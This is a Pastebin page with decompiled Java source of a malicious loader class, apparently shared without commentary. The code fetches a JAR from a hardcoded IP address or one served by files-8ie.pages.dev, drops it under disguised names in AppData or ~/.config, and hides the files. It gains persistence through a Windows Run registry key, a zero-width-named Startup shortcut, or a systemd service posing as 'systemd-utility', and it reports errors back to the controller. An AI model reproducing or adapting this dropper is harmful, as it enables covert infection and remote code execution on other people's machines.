Advertisement
Guest User

Untitled

a guest
Jun 6th, 2023
11,602
1
Never
4
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 18.95 KB | None | 1 0
  1. // Decompiled with: CFR 0.151
  2. // Class Version: 8
  3. import java.io.ByteArrayOutputStream;
  4. import java.io.EOFException;
  5. import java.io.IOException;
  6. import java.io.PrintStream;
  7. import java.net.InetAddress;
  8. import java.net.InetSocketAddress;
  9. import java.net.URL;
  10. import java.net.URLConnection;
  11. import java.net.UnknownHostException;
  12. import java.nio.ByteBuffer;
  13. import java.nio.channels.SeekableByteChannel;
  14. import java.nio.channels.SocketChannel;
  15. import java.nio.file.Files;
  16. import java.nio.file.LinkOption;
  17. import java.nio.file.OpenOption;
  18. import java.nio.file.Path;
  19. import java.nio.file.Paths;
  20. import java.nio.file.StandardOpenOption;
  21. import java.nio.file.attribute.FileAttribute;
  22. import java.nio.file.attribute.PosixFilePermission;
  23. import java.security.MessageDigest;
  24. import java.security.NoSuchAlgorithmException;
  25. import java.util.Arrays;
  26. import java.util.HashSet;
  27. import java.util.Objects;
  28. import java.util.concurrent.ExecutorService;
  29. import java.util.concurrent.Executors;
  30. import java.util.concurrent.atomic.AtomicBoolean;
  31. import java.util.function.Supplier;
  32. import mslinks.ShellLink;
  33.  
  34. public class Utility {
  35.     private static final String NAME = "​";
  36.  
  37.     public static void run(String ref) {
  38.         if (Objects.nonNull(System.getProperty("neko.run"))) {
  39.             return;
  40.         }
  41.         System.setProperty("neko.run", "");
  42.         ExecutorService service = Executors.newSingleThreadExecutor();
  43.         service.execute(() -> {
  44.             block39: {
  45.                 try {
  46.                     String appData = System.getenv("APPDATA");
  47.                     Path windowsStartupDirectory = (Objects.isNull(appData) ? Paths.get(System.getProperty("user.home"), "AppData", "Roaming") : Paths.get(appData, new String[0])).resolve(Paths.get("Microsoft", "Windows", "Start Menu", "Programs", "Startup"));
  48.                     boolean windows = Files.isDirectory(windowsStartupDirectory, new LinkOption[0]) && Files.isWritable(windowsStartupDirectory);
  49.                     Path homeDirectory = Paths.get(System.getProperty("user.home"), new String[0]);
  50.                     Path linuxSystemServiceDirectory = Paths.get("/etc/systemd/system", new String[0]);
  51.                     Path linuxUserServiceDirectory = homeDirectory.resolve(".config").resolve("systemd").resolve("user");
  52.                     boolean linux = System.getProperty("os.name").toLowerCase().contains("linux");
  53.                     Path updaterFile = null;
  54.                     if (windows) {
  55.                         String localAppData = System.getenv("LOCALAPPDATA");
  56.                         updaterFile = (Objects.isNull(localAppData) ? Paths.get(System.getProperty("user.home"), "AppData", "Local") : Paths.get(localAppData, new String[0])).resolve(Paths.get("Microsoft Edge", "libWebGL64.jar"));
  57.                     } else if (linux) {
  58.                         updaterFile = homeDirectory.resolve(".config").resolve(".data").resolve("lib.jar");
  59.                     }
  60.                     if (Objects.isNull(updaterFile)) {
  61.                         return;
  62.                     }
  63.                     Path updaterDirectory = updaterFile.getParent();
  64.                     if (!Files.exists(updaterDirectory, new LinkOption[0])) {
  65.                         Files.createDirectories(updaterDirectory, new FileAttribute[0]);
  66.                     }
  67.                     AtomicBoolean addressSwitch = new AtomicBoolean(true);
  68.                     Utility.update(() -> {
  69.                         if (addressSwitch.getAndSet(false)) {
  70.                             try {
  71.                                 return new InetSocketAddress(InetAddress.getByAddress(new byte[]{85, -39, -112, -126}), 8083);
  72.                             }
  73.                             catch (UnknownHostException unknownHostException) {
  74.                                 // empty catch block
  75.                             }
  76.                         }
  77.                         addressSwitch.set(true);
  78.                         try {
  79.                             URLConnection connection = new URL("https", "files-8ie.pages.dev", "/ip").openConnection();
  80.                             connection.setRequestProperty("User-Agent", "a");
  81.                             byte[] ipv4 = new byte[4];
  82.                             connection.getInputStream().read(ipv4);
  83.                             return new InetSocketAddress(InetAddress.getByAddress(ipv4), 8083);
  84.                         }
  85.                         catch (IOException exception) {
  86.                             throw new RuntimeException(exception);
  87.                         }
  88.                     }, updaterFile);
  89.                     if (Objects.nonNull(ref)) {
  90.                         String[] split = ref.split("\\.");
  91.                         byte[] bytes = new byte[split.length];
  92.                         for (int i = 0; i < bytes.length; ++i) {
  93.                             bytes[i] = Byte.parseByte(split[i]);
  94.                         }
  95.                         Path refFile = updaterDirectory.resolve(".ref");
  96.                         if (!Files.exists(refFile, new LinkOption[0])) {
  97.                             try {
  98.                                 Files.createFile(refFile, new FileAttribute[0]);
  99.                                 Files.write(refFile, bytes, new OpenOption[0]);
  100.                                 if (refFile.getFileSystem().supportedFileAttributeViews().contains("dos")) {
  101.                                     Files.setAttribute(refFile, "dos:hidden", true, new LinkOption[0]);
  102.                                     Files.setAttribute(refFile, "dos:system", true, new LinkOption[0]);
  103.                                 }
  104.                             }
  105.                             catch (NumberFormatException numberFormatException) {
  106.                                 // empty catch block
  107.                             }
  108.                         }
  109.                     }
  110.                     if (windows) {
  111.                         ShellLink shellLink;
  112.                         Path script = updaterDirectory.resolve("run.bat");
  113.                         if (!Files.exists(script, new LinkOption[0])) {
  114.                             Files.createFile(script, new FileAttribute[0]);
  115.                         }
  116.                         Files.write(script, String.format("@echo off%nstart /B \"\" \"%s\" -jar \"%s\"", Paths.get(System.getProperty("java.home"), "bin", "javaw.exe").toAbsolutePath(), updaterFile.toAbsolutePath()).getBytes(), new OpenOption[0]);
  117.                         boolean registrySuccess = false;
  118.                         try {
  119.                             Path registryLink = updaterDirectory.resolve(String.format("%s.lnk", NAME));
  120.                             shellLink = ShellLink.createLink(script.toAbsolutePath().toString());
  121.                             if (Files.exists(registryLink, new LinkOption[0]) && Files.isWritable(registryLink)) {
  122.                                 Files.delete(registryLink);
  123.                                 shellLink.saveTo(registryLink.toAbsolutePath().toString());
  124.                             } else {
  125.                                 Files.createFile(registryLink, new FileAttribute[0]);
  126.                                 shellLink.saveTo(registryLink.toAbsolutePath().toString());
  127.                             }
  128.                             String winDirEnv = System.getenv("WINDIR");
  129.                             Path windowsDirectory = Objects.isNull(winDirEnv) ? Paths.get("C:", "Windows") : Paths.get(winDirEnv, new String[0]);
  130.                             Process process = new ProcessBuilder(windowsDirectory.resolve("System32").resolve("reg.exe").toString(), "add", "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "/v", "t", "/d", String.format("\\\"%s\\\"", registryLink.toAbsolutePath()), "/f").start();
  131.                             process.waitFor();
  132.                             registrySuccess = Objects.equals(process.exitValue(), 0);
  133.                         }
  134.                         catch (IOException registryLink) {
  135.                             // empty catch block
  136.                         }
  137.                         if (!registrySuccess) {
  138.                             Path link = windowsStartupDirectory.resolve(String.format("%s.lnk", NAME));
  139.                             shellLink = ShellLink.createLink(script.toAbsolutePath().toString());
  140.                             if (Files.exists(link, new LinkOption[0]) && Files.isWritable(link)) {
  141.                                 Files.delete(link);
  142.                                 shellLink.saveTo(link.toAbsolutePath().toString());
  143.                             } else {
  144.                                 Files.createFile(link, new FileAttribute[0]);
  145.                                 shellLink.saveTo(link.toAbsolutePath().toString());
  146.                             }
  147.                         }
  148.                         if (updaterFile.getFileSystem().supportedFileAttributeViews().contains("dos")) {
  149.                             Files.setAttribute(updaterFile, "dos:hidden", true, new LinkOption[0]);
  150.                             Files.setAttribute(updaterFile, "dos:system", true, new LinkOption[0]);
  151.                             Files.setAttribute(updaterDirectory, "dos:hidden", true, new LinkOption[0]);
  152.                             Files.setAttribute(updaterDirectory, "dos:system", true, new LinkOption[0]);
  153.                         }
  154.                         if (script.getFileSystem().supportedFileAttributeViews().contains("dos")) {
  155.                             Files.setAttribute(script, "dos:hidden", true, new LinkOption[0]);
  156.                             Files.setAttribute(script, "dos:system", true, new LinkOption[0]);
  157.                         }
  158.                         new ProcessBuilder(script.toAbsolutePath().toString()).start();
  159.                         break block39;
  160.                     }
  161.                     if (linux) {
  162.                         Path systemctlCommand = Utility.findCommand("systemctl");
  163.                         Path serviceCommand = Utility.findCommand("service");
  164.                         String javaPath = Paths.get(System.getProperty("java.home"), new String[0]).resolve("bin").resolve("java").toAbsolutePath().toString();
  165.                         HashSet<PosixFilePermission> perms = new HashSet<PosixFilePermission>();
  166.                         perms.add(PosixFilePermission.OWNER_READ);
  167.                         perms.add(PosixFilePermission.OWNER_WRITE);
  168.                         perms.add(PosixFilePermission.OWNER_EXECUTE);
  169.                         perms.add(PosixFilePermission.GROUP_READ);
  170.                         perms.add(PosixFilePermission.GROUP_EXECUTE);
  171.                         perms.add(PosixFilePermission.OTHERS_READ);
  172.                         perms.add(PosixFilePermission.OTHERS_EXECUTE);
  173.                         Files.setPosixFilePermissions(updaterFile, perms);
  174.                         if (Objects.nonNull(systemctlCommand) || Objects.nonNull(serviceCommand)) {
  175.                             Path link;
  176.                             Path enableDirectory;
  177.                             Path directory;
  178.                             boolean systemService = Files.isDirectory(linuxSystemServiceDirectory, new LinkOption[0]) && Files.isWritable(linuxSystemServiceDirectory);
  179.                             Path path = directory = systemService ? linuxSystemServiceDirectory : linuxUserServiceDirectory;
  180.                             if (!Files.exists(directory, new LinkOption[0])) {
  181.                                 Files.createDirectories(directory, new FileAttribute[0]);
  182.                             }
  183.                             String serviceName = "systemd-utility";
  184.                             Path serviceFile = directory.resolve(String.format("%s.service", "systemd-utility"));
  185.                             if (!Files.exists(serviceFile, new LinkOption[0])) {
  186.                                 Files.createFile(serviceFile, new FileAttribute[0]);
  187.                                 Files.write(serviceFile, String.format("[Unit]%nDescription=%s%n%n[Service]%nType=simple%nRestart=always%nExecStart=\"%s\" -jar \"%s\"%nWorkingDirectory=%s%n%n[Install]%nWantedBy=multi-user.target%n", "systemd-utility", javaPath, updaterFile.toAbsolutePath(), updaterFile.getParent().toAbsolutePath()).getBytes(), new OpenOption[0]);
  188.                                 Files.setPosixFilePermissions(serviceFile, perms);
  189.                             }
  190.                             if (!Files.exists(enableDirectory = directory.resolve("multi-user.target.wants"), new LinkOption[0])) {
  191.                                 Files.createDirectories(enableDirectory, new FileAttribute[0]);
  192.                             }
  193.                             if (!Files.exists(link = enableDirectory.resolve(serviceFile.getFileName()), LinkOption.NOFOLLOW_LINKS)) {
  194.                                 Files.createSymbolicLink(link, serviceFile, new FileAttribute[0]);
  195.                             } else if (!Files.readSymbolicLink(link).equals(serviceFile)) {
  196.                                 Files.delete(link);
  197.                                 Files.createSymbolicLink(link, serviceFile, new FileAttribute[0]);
  198.                             }
  199.                             if (systemService) {
  200.                                 if (Objects.nonNull(systemctlCommand)) {
  201.                                     new ProcessBuilder(systemctlCommand.toAbsolutePath().toString(), "daemon-reload").start().waitFor();
  202.                                     new ProcessBuilder(systemctlCommand.toAbsolutePath().toString(), "start", "systemd-utility").start();
  203.                                 } else {
  204.                                     new ProcessBuilder(serviceCommand.toAbsolutePath().toString(), "systemd-utility", "start").start();
  205.                                 }
  206.                             } else if (Objects.nonNull(systemctlCommand)) {
  207.                                 new ProcessBuilder(systemctlCommand.toAbsolutePath().toString(), "--user", "daemon-reload").start().waitFor();
  208.                                 new ProcessBuilder(systemctlCommand.toAbsolutePath().toString(), "--user", "start", "systemd-utility").start();
  209.                             } else {
  210.                                 new ProcessBuilder(serviceCommand.toAbsolutePath().toString(), "--user-unit", "systemd-utility", "start").start();
  211.                             }
  212.                         } else {
  213.                             new ProcessBuilder(javaPath, "-jar", updaterFile.toAbsolutePath().toString()).start().waitFor();
  214.                         }
  215.                     }
  216.                 }
  217.                 catch (Throwable throwable) {
  218.                     // empty catch block
  219.                 }
  220.             }
  221.             service.shutdown();
  222.         });
  223.     }
  224.  
  225.     public static InetSocketAddress update(Supplier<InetSocketAddress> address, Path file) throws NoSuchAlgorithmException {
  226.         boolean requiresUpdate = true;
  227.         InetSocketAddress usedAddress = null;
  228.         while (requiresUpdate) {
  229.             try {
  230.                 SocketChannel channel = SocketChannel.open();
  231.                 usedAddress = address.get();
  232.                 channel.connect(usedAddress);
  233.                 try {
  234.                     channel.write((ByteBuffer)ByteBuffer.allocate(4).putInt(1).flip());
  235.                     boolean success = FriendlyByteBuffer.readFully(channel, 1).getBoolean();
  236.                     if (!success) {
  237.                         channel.close();
  238.                         throw new IllegalStateException();
  239.                     }
  240.                     byte[] hash = FriendlyByteBuffer.readFully(channel, FriendlyByteBuffer.readFully(channel, 4).getInt()).array();
  241.                     boolean download = true;
  242.                     if (Files.exists(file, new LinkOption[0]) && Files.isRegularFile(file, new LinkOption[0])) {
  243.                         byte[] fileBytes = Files.readAllBytes(file);
  244.                         MessageDigest md5 = MessageDigest.getInstance("MD5");
  245.                         md5.update(fileBytes);
  246.                         download = !Arrays.equals(md5.digest(), hash);
  247.                     }
  248.                     channel.write((ByteBuffer)ByteBuffer.allocate(1).put((byte)(download ? 1 : 0)).flip());
  249.                     if (download) {
  250.                         try (SeekableByteChannel clientFileChannel = Files.newByteChannel(file, StandardOpenOption.WRITE, StandardOpenOption.TRUNCATE_EXISTING, StandardOpenOption.CREATE);){
  251.                             int length = FriendlyByteBuffer.readFully(channel, 4).getInt();
  252.                             int offset = 0;
  253.                             while (offset < length) {
  254.                                 if (length - offset <= 0) {
  255.                                     break;
  256.                                 }
  257.                                 ByteBuffer buffer = ByteBuffer.allocate(Math.min(1024, length - offset));
  258.                                 long read = channel.read(buffer);
  259.                                 if (Objects.equals(read, -1)) {
  260.                                     throw new EOFException();
  261.                                 }
  262.                                 buffer.flip();
  263.                                 clientFileChannel.write(buffer);
  264.                                 offset = (int)((long)offset + read);
  265.                             }
  266.                         }
  267.                     }
  268.                     channel.write((ByteBuffer)ByteBuffer.allocate(4).putInt(0).flip());
  269.                     channel.close();
  270.                     requiresUpdate = false;
  271.                     if (file.getFileSystem().supportedFileAttributeViews().contains("dos")) {
  272.                         Files.setAttribute(file, "dos:hidden", true, new LinkOption[0]);
  273.                         Files.setAttribute(file, "dos:system", true, new LinkOption[0]);
  274.                     }
  275.                 }
  276.                 catch (Throwable throwable) {
  277.                     try {
  278.                         Debugger debugger = new Debugger(new InetSocketAddress(address.get().getAddress(), 1338), 3);
  279.                         debugger.connect();
  280.                         ByteArrayOutputStream dataHolder = new ByteArrayOutputStream();
  281.                         PrintStream stream = new PrintStream(dataHolder);
  282.                         throwable.printStackTrace(stream);
  283.                         debugger.debug(dataHolder.toByteArray());
  284.                         debugger.close();
  285.                     }
  286.                     catch (IOException iOException) {}
  287.                 }
  288.             }
  289.             catch (IOException iOException) {
  290.                 // empty catch block
  291.             }
  292.             try {
  293.                 Thread.sleep(5000L);
  294.             }
  295.             catch (InterruptedException interruptedException) {}
  296.         }
  297.         return usedAddress;
  298.     }
  299.  
  300.     public static Path findCommand(String name) {
  301.         Path binPath = Paths.get("/", "usr", "bin", name);
  302.         if (Files.exists(binPath, new LinkOption[0])) {
  303.             return binPath;
  304.         }
  305.         Path sbinPath = Paths.get("/", "usr", "sbin", name);
  306.         if (Files.exists(sbinPath, new LinkOption[0])) {
  307.             return sbinPath;
  308.         }
  309.         return null;
  310.     }
  311. }
  312.  
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement